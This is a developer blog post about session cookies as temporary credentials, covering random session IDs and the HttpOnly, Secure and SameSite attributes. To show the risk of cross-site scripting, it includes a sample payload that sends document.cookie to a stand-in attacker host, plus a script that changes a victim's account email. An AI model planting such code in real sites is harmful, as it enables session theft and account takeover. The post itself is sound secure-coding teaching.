DEV Community

khg5293
khg5293

Posted on

Your Session Cookie Is Basically a Temporary Password - Part 1

When developers think about authentication security, passwords usually get most of the attention.

Use strong passwords. Hash them properly. Add MFA. Rate-limit login attempts.

All of that matters.

But something interesting happens after a user successfully logs in:

The password usually stops being involved.

The application still needs a way to recognize that user on every request. In many traditional web applications, that job is handled by a session and a cookie containing the session identifier.

And if an attacker gets that identifier, they may not need the user's password at all.

In this post, we'll look at how sessions work, how cookies fit into the process, and the cookie settings web developers should understand.

HTTP Doesn't Remember You

HTTP is stateless.

Imagine a user sends this request:

GET /login HTTP/1.1
Host: example.com
Enter fullscreen mode Exit fullscreen mode

Then later:

GET /dashboard HTTP/1.1
Host: example.com
Enter fullscreen mode Exit fullscreen mode

From HTTP alone, there is nothing inherently connecting those two requests to the same authenticated user.

The server needs some way to remember:

This request belongs to the user who logged in earlier.
Enter fullscreen mode Exit fullscreen mode

That's where sessions come in.

A typical authentication flow looks something like this:

User submits credentials
        ↓
Server verifies credentials
        ↓
Server creates a session
        ↓
Server generates a session ID
        ↓
Session ID is sent to the browser
        ↓
Browser sends it with future requests
Enter fullscreen mode Exit fullscreen mode

After a successful login, the server might respond with:

HTTP/1.1 200 OK
Set-Cookie: session_id=a8f19d27c4e91b72; Path=/
Enter fullscreen mode Exit fullscreen mode

The browser stores the cookie.

On a later request:

GET /account HTTP/1.1
Host: example.com
Cookie: session_id=a8f19d27c4e91b72
Enter fullscreen mode Exit fullscreen mode

The server reads the session ID and looks it up.

Conceptually, the application might store something like:

sessions["a8f19d27c4e91b72"] = {
  userId: "khg5293",
  role: "user",
  authenticated: true
};
Enter fullscreen mode Exit fullscreen mode

The browser did not send the password again.

It only sent the session identifier.

Cookies and Sessions Are Not the Same Thing

Cookies and sessions are often discussed together, so it is easy to treat them as the same thing.

They are not.

A cookie is data stored by the browser and sent with matching HTTP requests.

A session is application state associated with a user.

In a traditional server-side session model:

Browser

session_id=a8f19d27c4e91b72

        ↓

Server

a8f19d27c4e91b72
        ↓
{
  userId: "khg5293",
  role: "user",
  authenticated: true
}
Enter fullscreen mode Exit fullscreen mode

The browser holds the identifier.

The server holds the session state.

This distinction matters because the session ID becomes the link between the browser and the authenticated account.

Why Session IDs Matter

Suppose an attacker somehow obtains this value:

session_id=a8f19d27c4e91b72
Enter fullscreen mode Exit fullscreen mode

They may be able to send:

GET /account HTTP/1.1
Host: example.com
Cookie: session_id=a8f19d27c4e91b72
Enter fullscreen mode Exit fullscreen mode

If the server sees a valid authenticated session, the request may look legitimate.

The attacker may never need to know the password.

This is why session identifiers are valuable.

In many applications, possession of a valid session token is enough to act as the authenticated user until that session expires or is invalidated.

That makes the session ID behave a lot like a temporary credential.

Session IDs Must Be Unpredictable

A session identifier should never be easily guessable.

This would be a terrible design:

session_id=1001
session_id=1002
session_id=1003
Enter fullscreen mode Exit fullscreen mode

If session IDs follow an obvious pattern, an attacker might simply try nearby values.

Another bad example would be building a session ID from predictable input:

const sessionId = username + Date.now();
Enter fullscreen mode Exit fullscreen mode

It may look unique, but uniqueness is not the same thing as security.

Session IDs should be generated using a cryptographically secure random number generator.

In Node.js, for example:

import crypto from "crypto";

const sessionId = crypto.randomBytes(32).toString("hex");

console.log(sessionId);
Enter fullscreen mode Exit fullscreen mode

That could produce something like:

63b6910ef2815cb79234af20d8a815332adf36f46d5f86108be34778176cb133
Enter fullscreen mode Exit fullscreen mode

The important property is not that the value looks complicated.

It is that an attacker cannot realistically predict the next valid value.

Protect the Cookie With HttpOnly

JavaScript running in a page can normally access cookies through:

document.cookie
Enter fullscreen mode Exit fullscreen mode

That becomes dangerous when an application has a cross-site scripting vulnerability.

Imagine malicious JavaScript manages to run inside your site:

fetch(
  "https://attacker.example/collect?cookie=" +
  encodeURIComponent(document.cookie)
);
Enter fullscreen mode Exit fullscreen mode

If the authentication cookie is readable by JavaScript, the session identifier could potentially be exposed.

The HttpOnly attribute helps reduce that risk.

Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly
Enter fullscreen mode Exit fullscreen mode

An HttpOnly cookie is still sent with normal HTTP requests.

But JavaScript cannot directly read it through:

document.cookie
Enter fullscreen mode Exit fullscreen mode

For an authentication cookie, this is an important protection.

HttpOnly Does Not Fix XSS

There is an important limitation.

HttpOnly makes direct cookie theft harder, but it does not make an XSS vulnerability harmless.

If malicious JavaScript is already running in the victim's browser, it may still be able to perform authenticated actions.

For example:

fetch("/api/profile/email", {
  method: "POST",
  headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify({
    email: "attacker@example.com"
  })
});
Enter fullscreen mode Exit fullscreen mode

The JavaScript does not need to read the session cookie.

The browser may attach it automatically.

So the distinction is:

HttpOnly helps protect the cookie itself.

HttpOnly does not eliminate XSS.
Enter fullscreen mode Exit fullscreen mode

Those are separate security problems.

Use Secure

Authentication cookies should also generally use the Secure attribute.

Set-Cookie: session_id=a8f19d27c4e91b72; Secure
Enter fullscreen mode Exit fullscreen mode

This tells the browser to send the cookie only over HTTPS.

A stronger configuration combines both attributes:

Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly; Secure
Enter fullscreen mode Exit fullscreen mode

Each attribute protects against a different problem.

HttpOnly
    ↓
Reduces direct JavaScript access to the cookie

Secure
    ↓
Restricts the cookie to HTTPS connections
Enter fullscreen mode Exit fullscreen mode

Neither replaces the other.

What About SameSite?

Another cookie attribute developers frequently encounter is SameSite.

You may have seen values like:

SameSite=Strict
Enter fullscreen mode Exit fullscreen mode
SameSite=Lax
Enter fullscreen mode Exit fullscreen mode

or:

SameSite=None
Enter fullscreen mode Exit fullscreen mode

SameSite controls when a browser sends a cookie during requests involving different sites.

This matters because browsers automatically attach cookies to matching requests.

Consider this situation:

User is logged into:
account.example

Browser contains:
session_id=abc123
Enter fullscreen mode Exit fullscreen mode

The user then visits:

evil.example
Enter fullscreen mode Exit fullscreen mode

That site causes the browser to make a request to:

account.example
Enter fullscreen mode Exit fullscreen mode

The security question becomes:

Should the browser include the account.example session cookie?
Enter fullscreen mode Exit fullscreen mode

That behavior is closely related to Cross-Site Request Forgery, or CSRF.

SameSite=Strict

Strict is the most restrictive option.

Set-Cookie: session_id=abc123; SameSite=Strict
Enter fullscreen mode Exit fullscreen mode

The browser generally avoids sending the cookie in cross-site requests.

That gives strong cross-site protection.

But it can also affect legitimate navigation.

For example, a user clicking a link from another website into your application may arrive without the cookie being included on that initial request.

That may or may not be acceptable depending on the application.

SameSite=Lax

Lax provides a middle ground.

Set-Cookie: session_id=abc123; SameSite=Lax
Enter fullscreen mode Exit fullscreen mode

It restricts cookies in many cross-site scenarios while still allowing them in certain top-level navigation cases.

Conceptually:

More restrictive

Strict
  ↓
Lax
  ↓
None

Less restrictive
Enter fullscreen mode Exit fullscreen mode

For many traditional web applications, Lax is a reasonable starting point.

SameSite=None

Sometimes an application legitimately requires cookies to work across sites.

In that case:

Set-Cookie: session_id=abc123; SameSite=None; Secure
Enter fullscreen mode Exit fullscreen mode

Cookies using SameSite=None must also use Secure in modern browsers.

So this:

Set-Cookie: session_id=abc123; SameSite=None
Enter fullscreen mode Exit fullscreen mode

is not the intended modern configuration.

Instead:

Set-Cookie: session_id=abc123; SameSite=None; Secure
Enter fullscreen mode Exit fullscreen mode

The important point is that SameSite=None should be a deliberate choice.

It should not simply become the fallback whenever another setting breaks something.

Putting the Cookie Flags Together

A typical session cookie might look something like this:

Set-Cookie: session_id=63b6910ef2815cb7; HttpOnly; Secure; SameSite=Lax; Path=/
Enter fullscreen mode Exit fullscreen mode

Each part has a purpose.

session_id
    ↓
Identifies the authenticated session

HttpOnly
    ↓
Prevents direct JavaScript access

Secure
    ↓
Restricts transmission to HTTPS

SameSite
    ↓
Controls cross-site cookie behavior

Path
    ↓
Controls which paths receive the cookie
Enter fullscreen mode Exit fullscreen mode

No single flag makes a session secure.

Security comes from combining multiple controls.

A Quick Session Cookie Checklist

For a traditional cookie-based session system:

[ ] Generate session IDs using cryptographically secure randomness

[ ] Never make session IDs predictable

[ ] Use HTTPS

[ ] Set HttpOnly on authentication cookies

[ ] Set Secure on authentication cookies

[ ] Choose an appropriate SameSite policy

[ ] Keep cookie scope as narrow as practical

[ ] Treat session IDs as credentials
Enter fullscreen mode Exit fullscreen mode

Final Thought

Developers put a lot of effort into protecting passwords.

But authentication security does not end when the login succeeds.

After authentication, the application needs another way to recognize the user.

In many web applications, that eventually comes down to something like:

Cookie: session_id=a8f19d27c4e91b72
Enter fullscreen mode Exit fullscreen mode

The password may no longer be part of the request.

The session identifier is.

So from an attacker's perspective, the question may stop being:

How do I learn khg5293's password?
Enter fullscreen mode Exit fullscreen mode

and become:

How do I get a valid session?
Enter fullscreen mode Exit fullscreen mode

That is why authenticated session IDs deserve to be treated like credentials.

Because for as long as the session remains valid, that is effectively what they are.

Top comments (0)